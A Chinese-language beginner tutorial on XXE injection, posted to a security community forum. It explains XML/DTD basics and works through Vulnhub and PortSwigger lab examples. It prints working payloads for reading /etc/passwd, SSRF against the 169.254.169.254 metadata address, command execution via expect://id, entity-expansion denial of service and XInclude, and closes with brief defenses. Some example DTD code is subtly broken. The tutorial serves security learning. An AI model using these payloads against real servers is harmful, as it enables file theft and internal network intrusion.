白帽新手入门之XXE

门柚
富仁木制品有限公司官方帐号
2023-06-30 20:26:01

概要  

XXE漏洞,就是外部传入XML代码。 XXE英文全称XML External Entity Injection,中文为XML外部实体注入,攻击利用的焦距点是XML的DTD实体,可以利用其内部声明或外部引用来构造攻击,从而实现读取文件、执行系统命令、探测端口等目的。

XML基础

XML 指可扩展标记语言eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。 除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

XML 用途

XML全称 可拓展标记语言,与HTML相互配合后:

  • HMTL用来显示数据

    HTML的焦点在于数据的外观(如何显示数据)

  • XML用来传输和存储数据

    XML的焦点在于数据的内容(如何存储传输数据)

总结来说:HTML提供了一个模板,XML动态的改变模板中对应数据位置中的数据。

为什么要将数据从 HTML 中分离

若要在HTML文档中显示动态的数据,每当数据需要改变的时候需要大量的时间编辑HTML。

通过XML将数据存储在独立的XML文件中,每次需要更新数据时只需通过发出XMLHttpRequest到服务端请求相应的数据(Ajax)即可。

HTML/CSS只需专注于显示与布局即可,底层的数据从XML文件中获取即可,这样修改底层的数据不会对HTML的结构发生任何改变。

XML 的其他优点

  • XML不仅可以用于简化HTML的数据传输于存储中,所有支持XML格式的应用都可以从XML文件中读取文件来使用。
  • 而且XML提供了一种数据的格式标准,所有支持该标准的应用之间都可以用该格式在本地或网络中传输数据。
  • XML可自定义标签,XML是没有预定义标签的。

XML DTD

既然前面说了XML是没有预定义标签的,也就是说无论想定义什么名字的标签都可以,这个标签有什么属性都可以,看似很自由,但在开发中显然是不合适的,而且在数据的传输过程中如果双方的XML结构不同也会出现问题,所以需要一个东西来约束XML的格式,也就是DTD(文档类型定义)

所以通过DTD有如下优势:

  • 每一个XML文件均可携带一个有关其自身格式的描述,从而规范XML的结构
  • 一个通信过程中,可一致地使用规定的DTD来交换数据
  • 应用程序也可使用规定的DTD来验证从外部接收到的或自身的数据

如何定义 DTD

一般有两种方式:

  • 内部DOCTYPE声明
  • 外部文档声明(!!理解XXE的关键!!)

DTD(文档类型定义)被包装在DOCTYPE声明中 (无论外部还是内部)。

内部 DOCTYPE 声明

利用DOCTYPE声明内部DTD的格式为:

<!DOCTYPE root-element [element-declarations]>

  • root-element文档类型(根元素)
  • [element-declarations]其余的元素都包含在[ ]
<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>

<!--文档类型定义-->
<!DOCTYPE note [
        <!ELEMENT note (to,from,heading,body)>
        <!ELEMENT to (#PCDATA)>
        <!ELEMENT from (#PCDATA)>
        <!ELEMENT heading (#PCDATA)>
        <!ELEMENT body (#PCDATA)>
        ]>
<!--文档元素-->
<note>
    <to>XXE</to>
    <from>LEARING</from>
    <heading>hello</heading>
    <body>My_friend</body>
</note>
  • <!DOCTYPE note [规定该文档是 note 类型的文档 (根元素为<note>

    对应<note> </note>

  • <!ELEMENT note (to,from,heading,body)>定义note中有四个元素,分别为:

    • <to> </to>
    • <from> </from>
    • <heading> </heading>
    • <body> </body>
  • <!ELEMENT to (#PCDATA)>定义to元素为#PCDATA类型

  • 其他的类似

#PCDATA表示名字里面可以放任意文本 - 这不是我们关注的重点。

外部文档声明( important )

DTD位于XML源文件的外部,则可以通过如下语法将其封装声明在DOCTYPE

<!DOCTYPE root-element SYSTEM "filename">记得该语法,XXE中会用到。

我们将这个外部的DTD文件命名为note.dtd

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

此时若是想在XML文件中声明该DTD约束,应声明为:

<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>

<!-- 外部引入 dtd 文件 -->
<!DOCTYPE note SYSTEM "note.dtd">

<!--文档元素-->
<note>
    <to>XXE</to>
    <from>LEARING</from>
    <heading>hello</heading>
    <body>My_friend</body>
</note>

此时便会引入上述note.dtdDTD约束文件,

而这个引入的文件,就是该漏洞的关键之一。

DTD - 实体

实体是用于定义XML文档中特殊字符的快捷方式,就类似于一个变量或一个宏(宏可能更好理解)。

内部实体

DTD中声明实体,则称为内部实体

<!ENTITY entity-name "entity-value">

  • entity_name是实体的名称,后跟双引号或单引号中的值
  • entity_value保存实体名称的值

同样是上面的例子,还可以定义成这样:

<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>

<!--文档类型定义-->
<!DOCTYPE note [
        <!ELEMENT note (#PCDATA)>
        <!ELEMENT to "XXE">
        <!ELEMENT from "LEARING">
        <!ELEMENT heading "hello">
        <!ELEMENT body "my_friend">
        ]>
<!-- 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;) -->
<note>
    &to;
     &from;
     &heading;
     &body;
</note>

在上面的示例中,各个实体名称tofromheadingbody由它们在声明中的值替换。 通过向实体名称添加前缀&来取消引用实体值。

外部实体

如果在DTD之外声明实体,则称为外部实体。

<!ENTITY name SYSTEM "URI/URL">

  • name实体的名称
  • SYSTEM关键字
  • URI/URL是双引号或单引号中包含的外部源的地址

<!ENTITY writer SYSTEM "<http://www.shtwo.com/note.dtd>">

使用的方式与上述例子相同,只不过当前是从外部引入,可以是一个URL链接中的文件,也可以是本地的文件(这也就造成了安全的风险)。

可以使用 系统标识符或 公共标识符来引用外部实体:

  • 系统标识符

    系统标识符可以指定包含DTD声明的外部文件的位置:它包含关键字SYSTEM和指向文档位置的URI引用

    <!DOCTYPE name SYSTEM "note.dtd" [...]>是不是很熟悉

  • 公共标识符

    <!DOCTYPE name PUBLIC "-//Beginning XML//DTD Address Example//EN">

XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

1:拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
&a2;

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

2:文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
&file;

通过刚才的介绍,可以明显看出若允许外部文档的声明,那么若请求放的 XML 数据可以被我们控制,就可以在其中加入一个用于包含目标机器本地文件的一个外部文档声明,并回显回来。

但注意,对于有回显的XXE要满足这样几个条件:

  1. 必须存在使用XML传输数据的情况,且传输的数据我们可以控制;
  2. 通过外部文档声明的外部实体要放在一个可以回显到当前页面中的位置,这样被恶意读取的数据才返回显示给我们。

看了这些可能有点不太理解,下面以Vulnhub打靶过程中,一个环节存在的XXE漏洞为例:

例1:Vulnhub - 打靶示例

当前访问到一个注册的页面,让输入个人信息并进行注册,所以我们打开Burp提交数据进行抓包。

1669440067_6381a2438d124778451ca.png!small?1669440065708

在抓到的 POST 请求包中,可以明显看出当前我们注册填写的信息就是通过 XML 形式提交的,所以满足了上面说的第一个条件:必须存在使用XML传输数据的情况,且传输的数据我们可以控制。

1669440086_6381a25696adfb44e502c.png!small?1669440084498

且根据不断地尝试,发现无论email处填写什么,都会有is not available的提示,但仔细看,当提交的email不同时,返回的错误提示信息中的邮箱也会变化,也就是说明我们在<email> </email>中提交的数据会被原封不动的拼接到Sorry, xxxxx is not available!!语句中xxxxx的部分,并返回来,这也就满足了上述说的第二个条件:通过外部文档声明的外部实体要放在一个可以回显到当前页面中的位置,这样才能被看到。

1669440098_6381a262c7dbb684dacc6.png!small?1669440104696

1669440108_6381a26ceae74fc7bf206.png!small?1669440122391

所以此时就可以尝试XXE了:

插入一个外部文档引用的声明,通过SYSTEM读取一个外部的位于Linux主机上的文件,并将引入的文档赋予deu这个实体(这个名字随便起)

<!DOCTYPE foo [<!ENTITY deu SYSTEM 'file:////etc/passwd'>]>

并且要在<email> </email>中引用该外部实体deu

<!DOCTYPE foo [<!ENTITY deu SYSTEM 'file:////etc/passwd'>]>
<email>
&deu;
</email>

这就完成了一个XML外部实体注入 -XXE

1669440117_6381a275c2c058cae8d14.png!small?1669440122391

什么?还不太理解,那再与XSS对比来说一下XXE的特征

例2:portswigger - XXE 靶场 - 1

再以 Burp 官网提供的第一个XXE的题为例:

1669440125_6381a27da799630ec6efd.png!small?1669440123575

网址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

流程一致,我们要找到可能存在数据交互的位置,这样才有存在 XXE 的可能,所以一上来先点 Home 试了以下,看看有没有登录的界面,发现并没有,于是随便点开一个商品View details

1669440132_6381a2842d9a4ad1abd1e.png!small?1669440130381

在其中看到了一个Check stock好像是一个提交数据的位置,于是打开Burp进行抓包。

1669440137_6381a2899ebc4cb964d04.png!small?1669440136019

果然是XML数据的格式,这次也懒得在判断在哪个位置可以回显,直接扔进Repeater在每一个XML的标签中都放上我们声明的外部实体,果然会显出了/etc/passwd

1669440142_6381a28ea855df3b3d054.png!small?1669440140641

XXE 与 XSS 的异同

  • XSS判断的条件一般是:通过浏览器(表单/变量)提交一个数据到服务器端,服务器端没有做任何变化过滤,就直接将我们输入的数据原封不动的返回到页面中。

    XSS的攻击目标大多数是浏览器端

  • XXE判断的条件一般是:和XSS有些类似,也是通过浏览器(表单/变量)提交一个数据到服务器端,服务器端没有做任何变化过滤,就直接将我们要引用的服务器端的资源原封不动的返回到页面中。

    XXE攻击的对象是服务器端

3:SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
4

在刚刚基础中,介绍外部实体时,举了一个这样的例子:

<!ENTITY writer SYSTEM "<http://www.shtwo.com/note.dtd>">

不难发现,这后面明显包含的是一个URL,所以若将这部分换为一个内网的IP貌似也没问题喔,所以就有可能造成SSRF

及时我们不知道内网的IP,若存在SSRF也可以通过 在XXE中附加可能的内网IP对内网的资源进行一个探测。

例3:Portswigger - XXE 靶场 - 2

1669440190_6381a2be6b75d686f7d7e.png!small?1669440188333

网址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf

该靶场只能说非常的贴心啊 ... 连存在敏感信息的IP都给我们了。

那就直接开始吧,首先还是要找存在XML信息交互的位置,该题遇上一道的位置相同,所以就略过了,直接写入外部文档声明

<!DOCTYPE foo [<!ENTITY deu SYSTEM "<http://169.254.169.254>">]>

1669440194_6381a2c2f3038aba444cb.png!small?1669440192980

得到了一个目录,再继续向下遍历:

1669440200_6381a2c85fefc860e8432.png!small?1669440198345

最终成功获得到敏感信息:

1669440205_6381a2cdccaf2d482a818.png!small?1669440203803

由于最难的一步找到要攻击目标这一步被直接告诉了,所以很简单就找到了敏感的信息

4:RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

5:XInclude

<?xml version='1.0'?>
<xi:include href="http://publicServer.com/file.xml"></xi:include>

防御方式

禁用外部实体(大多数都采用该方法)

PHP

libxml_disable_entity_loader(true);

黑名单过滤(不安全)

...全文
120 回复 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

5

社区成员

发帖
与我相关
我的任务
社区描述
dawn安全技术交流社区,欢迎您的加入!
web安全网络安全运维 技术论坛(原bbs) 广东省·东莞市
社区管理员
  • 门柚
  • .Kolay
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

欢迎加入dawn安全技术交流社区!

试试用AI创作助手写篇文章吧